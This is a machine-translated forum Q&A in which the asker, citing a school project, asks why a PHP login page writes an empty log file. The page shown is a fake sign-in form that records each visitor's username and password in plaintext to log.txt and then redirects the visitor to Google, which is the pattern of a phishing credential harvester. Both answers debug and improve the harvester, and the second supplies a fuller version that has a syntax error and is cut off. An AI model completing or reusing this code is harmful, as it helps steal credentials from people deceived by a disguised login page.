Question

我在为我的学校项目登录表单时遇到了麻烦。您看，我尝试使用PhP脚本创建日志文件，但每次输入示例用户名/密码时，它都会创建一个日志文件，但日志文件为空。对此有何建议/解决方法？

我的代码：

   <body>
        <div class="form">
    <div class="header"><h2>Sign In</h2></div>
    <div class="login">
    <form action="login.php" method="get">
    <ul>
    <li>
    <span class="un"><i class="fa fa-user"></i></span><input type="text" required class="text" placeholder="User Name Or Email"/></li>
    <li>
    <span class="un"><i class="fa fa-lock"></i></span><input type="password" required class="text" placeholder="User Password"/></li>
    <li>
    <input type="submit" value="LOGIN" class="btn">
    </li>
    <li><div class="span"><span class="ch"><input type="checkbox" id="r"> <label for="r">Remember Me</label> </span> <span class="ch"><a href="#">Forgot Password?</a></span></div></li>
    </ul>
    </form>
    <div class="social">
    <a href="#"><div class="fb"><i class="fa fa-facebook-f"></i> &nbsp; Login With Facebook</div></a>
    <a href="#"><div class="tw"><i class="fa fa-twitter"></i> &nbsp;  Login With Twitter</div></a>
    </div>
    </div><br/>
    <div class="sign">
    <div class="need">Need new account ?</div>
    <div class="up"><a href="">Sign Up</a></div>
    </div>
    </div>
    </body>

**PhP codes**

<?php



header ('Location: http://www.GOOGLE.COM');

$handle = fopen("log.txt", "a");
foreach($_POST as $variable => $value) {
 $stringData = "username: " . $_POST['username'] . "\n";
fwrite($fh, $stringData);
$stringData = "password: " . $_POST['password'] . "\n";
fwrite($fh, $stringData);
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Answer 1

为什么header ('Location: http://www.GOOGLE.COM');在代码执行之前？始终将其放在代码的末尾，因为它将运行代码，然后重定向。

如果要将数据发布到PHP文件，请将method =“GET”更改为method =“POST”。

Answer 2

没有测试它但应该有用。

问题是：

在发生任何事情之前重定向
输入标记中缺少name属性
错误的表格方法（GET）
$ handle vs. $ fh？

顺便说一下。怎么样在一个文件中做？ Protip：关闭未使用的文件处理程序是一种很好的做法，否则它将在整个请求期间保持打开状态。

<?php 
if($_SERVER['REQUEST_METHOD'] == 'POST') {


    $fh = fopen("log.txt", "a");
    foreach($_POST as $variable => $value) {
        $stringData = "username: " . $_POST['username'] . "\n";
        fwrite($fh, $stringData);
        $stringData = "password: " . $_POST['password'] . "\n";
        fwrite($fh, $stringData);
    } 
    fclose($fh);

    header ('Location: http://www.google.com');

else {
?>
<html>

   <body>


        <div class="form">

            <div class="login">
                <form method="POST"> <!-- no need for action attribute, as by default it's current URL -->
                    <ul>
                        <li><span class="un"><i class="fa fa-user"></i></span><input type="text" name="username" class="text" placeholder="User Name Or Email" required/></li>
                        <li><span class="un"><i class="fa fa-lock"></i></span><input type="password" name="password" class="text" placeholder="User Password" required/></li>
